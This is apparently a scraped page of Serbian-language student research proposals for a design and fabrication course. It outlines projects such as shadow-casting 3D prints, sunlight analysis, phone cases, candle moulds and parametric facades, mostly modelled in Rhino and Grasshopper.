Problem podrazumeva pravljenje 3d objekta koji pomoću svetlosti baca 2d sliku. Postoji niz faktora koje treba uzeti u obzir kao što su: ugao, udaljenost i oštrina svetlosnog izvora, podela željene slike u segmente raspoređene u prostoru kao i njihova veličina u zavisnosti od položaja… Cilj je brzo i efikasno izraditi 3d modele koji bacaju senke/slike po želji naručioca, a koji se mogu lako odštampati. Izrađeni objekti bi trebali da budu u stanju da naprave senke što je moguće približnije inicijalnim slikama koje naručilac zahteva. 3D model bi se izrađivao u Rhino-u i Grasshopper-u a fabrikacija bi se radila 3d štampom u poliamidu. Ako se odredi odgovarajuća veličina modela u odnosu na rastojanje od izvora svetlosti kao i ako se segmenti slike rasporede na odgovarajuća mesta sa odgovarajućom udaljenošću, trebalo bi da fabrikovani model uspe da verodostojno prenese zadatu sliku preko svoje senke.

Ispitivanje osunčanosti objekata na primjeru rekonstruisane radne zone u Novom Sadu

Opis: Istraživanje obuhvata analizu osunčanosti projekta za naselje na prostoru radne zone u Novom Sadu. Nakon sprovedene analize za postojeće rješenje naselja, potrebno je uraditi analizu sa novim objektima – kulama koje su više spratnosti od postojećih zgrada. Cilj projekta je uporediti osunčanost segmenta prije i poslije izgradnje novih objekata. Ukoliko intenzitet osunčanosti nakon dodavanja kula ostane u crvenoj ili narandžastoj zoni može se reći da nije znatno narušen. U suprotnom (ako intenzitet osunčanosti bude u zelenoj zoni) smatraće se da izgradnja novih zgrada značajno narušava osunčanost postojećih. Ispitivanje se sprovodi ubacivanjem postojećeg modela bloka u Rhino i korišćenjem funkcije ladybug u Grasshopperu.

Alati: Rhino + Grasshopper

birdView

reference: https://hydrashare.github.io/hydra/viewerowner=mostaphaRoudsari&fork=hydra_1&id=

Central_Park_Shadow_Study&slide=2&scale=1&offset=0,0

 

Modelovanje i fabrikacija kućice za jazavičara – faza 1

Oblast: modelovanje nameštaja

Predmet: dizajn kreveta za psa

Tema: projektovanje, modelovanje i fabrikacija nameštaja za kućne ljubimce

slika

Stanje u oblasti: velik broj različitih modela nameštaja za ljubimce – primeri ispunjavaju neke od zahteva budućeg korisnika

Problemi: još uvek ne postoji idealan krevetac koji bi ispunio sve potrebe mog psa

Cilj: izrađena idealna kućica za psa

Kriterijum: ispunjavanje što većeg broja zahteva korisnika

Hipoteza: moguće je projektovati i napraviti idealan krevet koji zadovoljava sve potrebe i preferencije jednog psa jazavičara

Mapa uma

 

Maska za telefon sa dodatnim drzacima za arhitektonske predmete

Screenshot 2024-03-29 140335wwwwww

 

U brzom vremenu u kojem zivimo tehnologija i nova otkrica se svakodnevno menjaju i izucavaju. Kako najlakse i najprakticnije da u bilo koje doba dana kod sebe imamo sve neophodne predmete za rad? To je pitanje koje cu kroz svoj rad izucavati. Telefon danas postao je predmet ljudima bez kojeg prosto ne mogu da funkcionisu i potrebno je da je uvek tu pri ruci. Pored toga sa sobom nosimo i neophodne predmete za rad i za svakodnevnu negu i koriscenje. Sve to cilj nam je da zauzima sto manje prostora i da nam je lako dostupno i prenosivo kroz ceo dan pun obaveza i brzog zivota.

Na svetsko trziste dospeo je proizvod koji mi je zapao za oko. Kompanija koju je osnovala Hailey Bieber kroz svoju liniju kozmetickih proizvoda Rhode napravili su i proizvod uz koji njihovi hidrantni sjajevi za usta mogu lako da nam budu dostupni u bilo koje doba dana. U pitanju je maska za telefon koja svojom zakrivljnom formom i odredjenom debljinom ima sposobnost da na svojoj zadnjoj strani drzi labelo.

Maska za telefon postala je viralna u svetu. Ovaj proizvod je novitet za trziste. Pored raznih plagova i elemenata koji se kace na sam telefon ovaj vid maske koja sama predstavlja vec prostor za odredjen predmet koji prenosimo poseduje svoje pozitivne strane, a i veliki broj mana. Proizvod je postao pravi hit i bez obzira na svoju visu cenu postao je dostupan za trziste i Srbije.

Mane sam uvidela proucavajuci njihov sajt i gledajuci razne video snimke gde masovno ljudi kritikuju i hvale ovaj proizvod. Na sajtu maska je dostupna samo za odredjene telefone i taj broj razlicitih velicina maski je sveden na minimum, tako da ovaj proizvod nije dostupan svim korisnicima nego samo odredjenoj klienteli. Sama debljina maske i velicina proizvoda nekim ljudima odgovara, a nekima i ne…Proslo je dosta od mog prvog istrazivanja ovog proizvoda i posetom sajta uocavam da je doslo do restocka, ali da mane i lose strane nisu ispravljene niti je bilo sta korigovano. Materijal od kog je formirana maska mora biti adekvatan da zadrzi proizvod na mestu, a da u isto vreme ne predstavlja problem korisnicima pri svakodnevnom nosenju, stavljanju uredjaja u dzep i koriscenju.

Ova maska je napravila veliki odjek u javnosti i izazvala je druge firme da smisle slicne proizvode koji ce odgovarati njihovom trzistu. Ljudi takodje prave razne patente koji predstavljaju i samu konkretnu zamenu za Rhode masku za kozmeticke predmete. Pojavljuju se maske za kljuceve od kola maske za kartice… Moj cilj je da napravim masku koja ce sluziti ljudima u mojoj struci, a i sire. U pitanju je maska za smart i obicnu ovolku koja je uvek neophodna jednom arhitekti pri poslu.

Znaci cilj ovog mog istrazivanja bi bio da se napravi proizvod koji bi sluzio kao prenosioc dodatnih predmeta za rad. Ta maska bazirala bi se na proizvodima za arhitekte, ali sam patent i forma mogla bi da zauzima razme oblike uz pomocu kojih bi mogli da se prenose i neki drugi predmeti neophodni drugim strukama za rad, ili ljudima za svakodnevno koriscenje.

KRITERIJUMI

Materijal da bude fleksibilan

Forma da odgovara ruci

Da proizvod moze da se koristi svakodnevno

Da cena odgovara vecoj masi i da zarada bude adekvatna

Da postoji veci izbor maski za razlicite telefone

Da proizvod samo olaksava, a ne da otezava svakodnevnicu

Boja prozvoda da je raznolika

Kako do same maske…   Formiranje kalupa u koji se izliva materijal koji se stvrdne i dobijemo odgovarajucu formu. Rucno oblikovanje glinenog materijala. Oblik koji se dobija utiskivanjem proizvoda u fornmu koja se lako oblikuje.

Da li proizvod olaksava rad? Da li smeta pri odlaganju uredjaja u dzep? Da li je funkcionalan za drzanje u ruci? Da li postoji dobar materijal za ovu formu? Da li je proizvodnja skupa? Da l je proizvod estecki zadovoljavajuc? Da li proizvod koji sama maska drzi ispada iz svog kalupa? Da li maska moze da se koristi za telefon i bez samog proizvoda koji je na njega nakacen?

 

 

 

 

re4dvidjenom

 

Efikasak način fabrikovanja nakita sa štrasom primenom algoritma

OBLAST

modelovanje nakita generativnim dizajnom

TEMA

modelovanje nakita

PREDMET

modelovanje nakita primenom prigrama

STANJE U OBLASTI

istraživanjem tržišta oučava se da ovaj način proizvodnje nakita nije razradjen u dovoljnoj meri, glavi razlog je neiformisanost

PROPLEM

pojavljivanje prostora izmedju cirkona i nastajanje neravnih ivica kod zaobljenih slova, oblici cirkona dostupni na tržištu

CILJ

atraktivan dizajn, adekvatno uklapanje cirkona unitar konture slova, mogućnost pravljenja mena na nakitu od cirkona pomoću programa

KRITERIJUM

cena, vreme izrade individualnog imena,  dugotrajnost nakita

HIPOTEZA

mogućnost brzog i preciznog izvodjenja nakita za individualnog korisnika

SLIKE

primer1 primer2 primer3 primer4primer5

primer 1, primer 2, primer3, primer4, primer5

COOGLE

coggle

Držač za vinske flaše- Faza 1

OBLAST- Modelovanje i izrada predmeta
TEMA- Modelovanje predmeta za drzanje vina
PREDMET- Drzac za vinske flase
STANJE U OBLASTI-

https://www.pinterest.com/pin/897905244445449696/

https://www.liquor.com/best-wine-racks-5078752

https://www.kartent.com/en/wine-rack.html

Cardboard Wine Rack | Sustainable Solution - KarTent webshop
PROBLEM- Da li je moguće izraditi predmet za držanje vina koji je jeftiniji od tržišne cene pomoću materijala koji bi uticali na smanjenje troškova i dužinu trajanja proizvodnje? Da li bi predmet sa takvim materijalom bio dovoljno primamljiv kupcima i da li bi bio stabilan i izržljiv u smislu prihvatanja opterećenja od 5-8 flaša koliko je uobičajena praksa za ovaj model?

CILJ- Uporediti pristupe koji daju rezultat u zavisnosti od izbora materijala, varijacije oblika i time odlučiti šta daje odgovor problemu

Predemet koji sluzi za odlaganje vinskih flasa, izrada po pristupacnoj ceni, dekorativan i praktican za upotrebu
KRITERIJUM-Jednostavna izrada, mali utrosak materijala, manja tezina samog predmeta, dekorativnost, stabilnost
PRIMENJENI ALATI I METODE- Modelovanje ploce definisanog oblika u programu Rhino

HIPOTEZA- Uz dovoljan broj ponovljenih ploca definisanog oblika i ojacanje u vidu sipke na koje se te ploce nizu predmet ce biti stabilan i adekvatan za upotrebu
369ed03ce00628e0b7bd1259e1868285

Modelovanje šolje animiranog lika Groot-a u 3ds Max-u

OBLAST – modelovanje animiranog lika

TEMA – modelovanje Marvelovog animiranog lika Groot-a u 3ds Max-u

PREDMET – modelovanje šolje Groot-a

STANJE U OBLASTI – u odabranoj oblasti postoji veliki broj dizajniranih struktura sa likom Groot-a kao što su šolje, vaze, igračke, prstenje, privesci…

groot privezakkroot prstengroot soljagroot saksijagroot cvece

 

PROBLEM – animirani likovi se uglavnom modeluju u programima kao što su Blender i Zbrush iz razloga što imaju više alatki koje su namenjene baš za modelovanje animiranih likova, za razliku od 3ds Max-a

CILJ – na najlakši i najbrži način izmodelovati animiranog lika u 3ds Max-u

KRITERIJUM – pobrinuti se da izmodelovan lik u 3ds Max-u što više liči na pravog animiranog lika Groot-a i  izmodelovati idealan oblik šolje za korisnika

METODA – izmodelovati šolju u 3ds Max-u koju će biti moguće izvesti pomoću 3d štampača

HIPOTEZA – mislim da je moguće izmodelovati šolju sa likom Groot-a koja će se moći koristiti

Faza 1: Modelovanje parametarskih otvora na fasadi u odnosu na senke drveća

Oblast: modelovanje

Architektur-Referenz-Formstelle_20446_1584011935 https://www.archdaily.com/543440/formstelle-format-elf-architekten/540df4d3c07a808f0a000100-formstelle-format-elf-architekten-image

Tema: modelovanje parametarskih otvora na fasadi pomoću grasshoppera

Problem:  raspored otvora tako da enterijer bude adekvatno osvetljen

Cilj: pronalaženje odgovarajuće metode modelovanja parametarskih otvora, ispunjavajući određene kriterijujme

Kriterijumi: pravilan raspored otvora u odnosu na potrebu osvetljenosti određenih prostorija, ritam, funkcionalnost

Primenjeni alati i metode: modelovanje u programu Rhino/Grasshopper 

Screenshot 2024-03-29 135544

Faza 1- izrada kalupa za sveću primenom parametarskog modelovanja

OBLAST: modelovanje i fabrikacija
TEMA: modelovanje kalupa za izlivanje sveća
PREDMET: Materijali i nacin fabrikacije koji se koriste prilikom izrade kalupa
STANJE U OBLASTI:

Milk-Candle-Feel-desain-Andrej-Urem1

https://www.boredpanda.com/we-diyed-unique-candle-moulds-using-3d-technology-and-went-on-a-candle-exploration-of-algorithmic-and-organic-forms/
PROBLEM:

-uklanjanje kalupa posle sušenja sveće

-kalup se često može upotrebiti samo jednom
CILJ: izrada sveća baziranih na organskim i arhitektonskim formama

61fmXeOxl2L._AC_UF894,1000_QL80_

https://www.amazon.co.uk/Dinara-silicone-Baking-Geometric-mousse/dp/B09MBYWSFW
KRITERIJUM:

-mogućnost lakog uklanjanja kalupa

-izrada jedinstvenih formi
PRIMENJENI ALATI I METODE: Rhino and Grasshopper
HIPOTEZA:  Primenom ovih softvera moguće je napraviti interesantne forme sveća, sa kojih se kalupi mogu lako uloniti

Procena tačnosti i efikasnosti ručnog modelovanja u poređenju sa fotogrametrijskim 3D modelovanjem

Oblast: Modelovanje

Predmet: Upoređivanje rezultata modela dobijenog ručnim modelovanjem u odnosu na 3D model dobijen generisanjem niza fotografija

Stanje u oblasti: Razvoj  tehnologije i softvera omogućava sve bolje i efikasnije kreiranje 3d modela putem  fotogrametrije. Najveća prednost dobijanja 3d modela na ovaj način jeste brzina izrade. Međutim, mana je sto kvalitet generisanih modela može zavisiti od kvaliteta ulaznih fotografija, što može ograničiti tačnost i detalje dobijenih modela. Zbog toga je dobijene modele često potrebno dodatno obrađivati kako bi se dobio željeni kvalitet.

35-minutes

https://peterfalkingham.com/2021/03/02/meshroom-2021-1-0-whats-new-and-what-parameters-to-tweak/

Cilj: Analiza tačnosti i preciznosti dobijenih modela (poređenje dimenzija, oblika i detalja), kao i provera efikasnosti procesa dobijanja trodimenzionalnih modela korišćenjem različitih metoda

Kriterijumi: Vreme, tačnost, kvalitet vizuelizacije

Hipoteza: Postoji velika razlika u vremenu izrade ali i kvalitetu dobijenih rezultata

Modelovanje nadstrešnice 3D L sistemom i 2D krivolinijskim sistemom – I faza

Oblast:

Biomimetička arhitektura i modelovanje.

Tema:

Modelovanje nadstrešnice.

Predmet:

Imitacija rasta drveta u vidu nadstrešnice pomoću L sistema, što projektovanje nosača nadstrešnice čini trodimenzionalnim ili pomoću spajanja tačaka najkraćeg rastojanja, što projektovanje nosača čini dvodimenzionalnom.

Stanje u oblasti:

Postoje razni prototipi na ovu temu u vidu maketa, a postoje i već izvedeni objekti. Pojedini su odabrani kao primeri i ispod navedeni.

The Tote Restaurant, Serie Architects

TOTE restaurantTote 2

 https://www.serie.co.uk/projects/269/the-tote

Kolonada napravljena L sistemom

L-Systems-02-min

 https://parametrichouse.com/rabbit-lsystem/

Maketa napravljena L sistemom

maketa

https://www.instagram.com/architrazzi/

Problem:

Pronaći adekvatan pristup trodimenzionalnog projektovanja nosača nadstrešnice tako da se on uklopi u dodirne tačke krova nepravilnog oblika i dvodimezionalnog projektovanja nosača nadstrešnice tako da ima dovoljnu dodirnu površinu sa krovnom konstrukcijom.

Cilj:

Poređenje 2 vrste modelovanja, koje modelovanje čini vernu i isplativu vrstu modelovanja biomimetičke arhitketure.

Kriterijum:

1. Pravilno uklapanje – naslanjanje krova nadstrešnice.

2. Dovoljan broj dodirnih tačaka između nosača i krova.

Primenjeni alati i metode:

Rhino+Grasshopper+Rabbit i Shortest walk plugin.

Hipoteza:

Da li je trodimenzionalno projektovanje biomimetičke arhitekture bolje od dvodimenzionalnog uprkos većim troškovima? Da li dvodimenzionalno projektovanje može verno da predstavi biomimetiku u arhitektonskim strukturama?

 

 

Anamorfno osvetljenje sa oba smislena medijuma

Oblast: Anamorfno osvetljenje

Tema: Kreiranje slike od senke

Predmet: Primena predmeta za stvaranje senke

Stanje u oblasti: Anamorfno osvetljenje je relativno popularno kao sredstvo reklame jer privlači pažnju prolaznika.

DRAKULA

https://www.bbc.co.uk/programmes/p07zr254

Problem: Problem nastaje kada treba rasporediti predmete tako da bi senka koju stvaraju imala smisla i prenosila odgovarajuću poruku, a da i oni sami budu smisleni.

Cilj: Proizvesti smislenu senku, tako da i predmeti koji je prave budu smisleni i da oba medijuma prenose poruku.

Kriterijum: Razumljiva završna poruka od senke i predmeta, razumljiva slika i odrađena kompleksnost.

Primenjeni alati i metode: Primenjeni alati mogu biti Adobe Photoshop, Ilustrator ili programski jezici kao što su Pyton ili JavaScript.

Hipoteza: Moguće je izsvesti, s tim da će jedna od dve slike koje se javljaju biti manje jasna.

Modelovanje panela svetlosti – I Faza

Oblast:  Modelovanje

Tema: Prilagodjavanje svetlosti u enterijeru pomocu panela na fasadi

Predmet: Primena fasadnih panela koji se otvaraju kako bi se prilagodila svetlost u enterijeru

Stanje u oblasti:

d3-house-by-pitsou-kedem-architects-tel-aviv_dezeen_2364_col_6 ab-pitsou-kedem-architecture-residential-houses_dezeen_1704_col_7

Problemi: Nacin otvaranja panela, spajanje panela

Cilj:  Postizanje odgovarajuceg nivoa svetlosti u enterijeru

Kriterijum: -Odredjivanje najpovoljnijeg nacina otvaranja panela
-Najbolji nacin spajanja panela
-Estetika

Primenjeni alati i metode: Modelovanje panela u programima Rhino/Grasshopper

Hipoteza: Moguce je izvesti takve fasadne panele

Modelovanje ergonomski adekvatnije i adaptabilnije maske za telefon zbog lakšeg držanja i nošenja

 

https://in.pinterest.com/pin/873768765175760985/
https://in.pinterest.com/pin/873768765175760985/

OBLAST: Modelovanje

TEMA: Modelovanje ergonomski adekvatnije i adaptabilnije maske za telefon zbog lakšeg držanja i nošenja

PREDMET ISTRAŽIVANJA:  Cilj ovog istraživanja jeste izmodelovati ergonomski adekvatnu masku za telefon, koja bi omogućila udobnije i lakše držanje telefona, zanimljiviji izgled, ali ne bi zauzimala mesta više nego što današnje maske zauzimaju npr. u torbi, džepu, itd.

PROBLEM: Trenutne ergonomski modelovane maske su veoma glomazne i zauzimaju puno mesta, a ovim istraživanjem pokušaću da taj problem rešim i napravim masku koja je adekvatna ergonomski, kao i estetski i ima razumne dimenzije.

ALATI: Rhino + Grasshopper

STANJE U OBLASTI: Na konkretno ovu temu ne postoji mnogo istraživanja, ali zahvaljujući srodnim temama, inspiraciju i informacije sam pronašla na sledećim mestima:

Istraživanje bih usmerila u 2 pravca, ali pre svega bih se bavila temom držanja telefona u ruci. (Telefon na kom bih vršila istraživanje je iPhoneX.) Ovim korakom bih otkrila koji su to delovi telefona, odnosno maske, koje dlan najviše prekriva, a koji nisu zahvaćeni prilikom držanja telefona u ruci. Između mesta koja su prekrivena potrebno je

1. pravac: maska sa pomerljivim/pokretnim/adaptabilnim ‚‚pečurkicama” na ‚‚kritičnim mestima”, koje bi olakšale držanje telefona kada je to potrebno, a kada ga ne koristimo one se ‚‚uvlače” ili sklanjaju na neki način (koji ću tek otkriti i razviti), kako bi se telefon što adekvatnije mogao spakovati i nositi u torbi ili džepu.
2. pravac: maska sa ošupljenim delovima na ‚‚kritičnim mestima”, ispod kojih bi se nalazio balon, te bi se pre korišćenja balon naduvao i formirao ruci pogodne oblike, a kada želimo da stavimo telefon u džep ili torbu, balon se izduvava; što opet omogućava komotnije i lakše odlaganje i nošenje telefona.

ANALIZA: Eksperimentalno ću isprobati obe metode i zaključiti koji način je bolji i efikasniji (uporedna analiza).

HIPOTEZA: Smatram da ću na osnovu ovog istraživanja ostvariti napredak na polju industrijskog dizajna, stvarajući iskorak u korišćenju i estetici telefonskih maski.

Coggle mapa: ergonomski_oblikovana_maska_za_iPhone_X

https://coggle.it/diagram/ZgZ727xGjUG8KDL-/t/ergonomski-oblikovana-maska-za-iphone-x/fc56a3839a6b5eb72c625a8fb7d73eeeea8aca8a169a02ccec32666e6fa7b112